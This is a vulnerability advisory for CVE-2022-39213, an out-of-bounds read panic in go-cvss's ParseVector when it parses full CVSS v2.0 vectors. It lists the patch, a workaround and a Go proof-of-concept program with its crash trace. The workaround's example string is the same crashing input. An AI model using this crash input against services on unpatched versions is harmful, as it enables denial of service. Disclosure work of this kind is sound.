CVE-2022-39213: Go-CVSS has Out-of-bounds Read vulnerability in ParseVector function

Impact

When a full CVSS v2.0 vector string is parsed using ParseVector, an Out-of-Bounds Read is possible due to a lack of tests. The Go module will then panic.

Patches

The problem is patched in tag v0.4.0, by the commit d9d478ff0c13b8b09ace030db9262f3c2fe031f4.

Workarounds

The only way to avoid it is by parsing CVSS v2.0 vector strings that does not have all attributes defined (e.g. AV:N/AC:L/Au:N/C:P/I:P/A:C/E:U/RL:OF/RC:C/CDP:MH/TD:H/CR:M/IR:M/AR:M).

References

N/A

CPE v2.3

As stated in SECURITY.md, the CPE v2.3 to refer to this Go module is cpe:2.3:a:pandatix:go_cvss:*:*:*:*:*:*:*:*. The entry has already been requested to the NVD CPE dictionnary.

Exploit example

package main

import (
	"log"

	gocvss20 "github.com/pandatix/go-cvss/20"
)

func main() {
	_, err := gocvss20.ParseVector("AV:N/AC:L/Au:N/C:P/I:P/A:C/E:U/RL:OF/RC:C/CDP:MH/TD:H/CR:M/IR:M/AR:M")
	if err != nil {
		log.Fatal(err)
	}
}

When ran, the following trace is returned.

panic: runtime error: index out of range [3] with length 3

goroutine 1 [running]:
github.com/pandatix/go-cvss/20.ParseVector({0x4aed6c?, 0x0?})
        /home/lucas/go/pkg/mod/github.com/pandatix/go-cvss@v0.2.0/20/cvss20.go:54 +0x578
main.main()
        /media/lucas/HDD-K/Documents/cve-2022-xxxxx/main.go:10 +0x25
exit status 2

For more information

If you have any questions or comments about this advisory:

• Open an issue in pandatix/go-cvss
• Email me at lucastesson@protonmail.com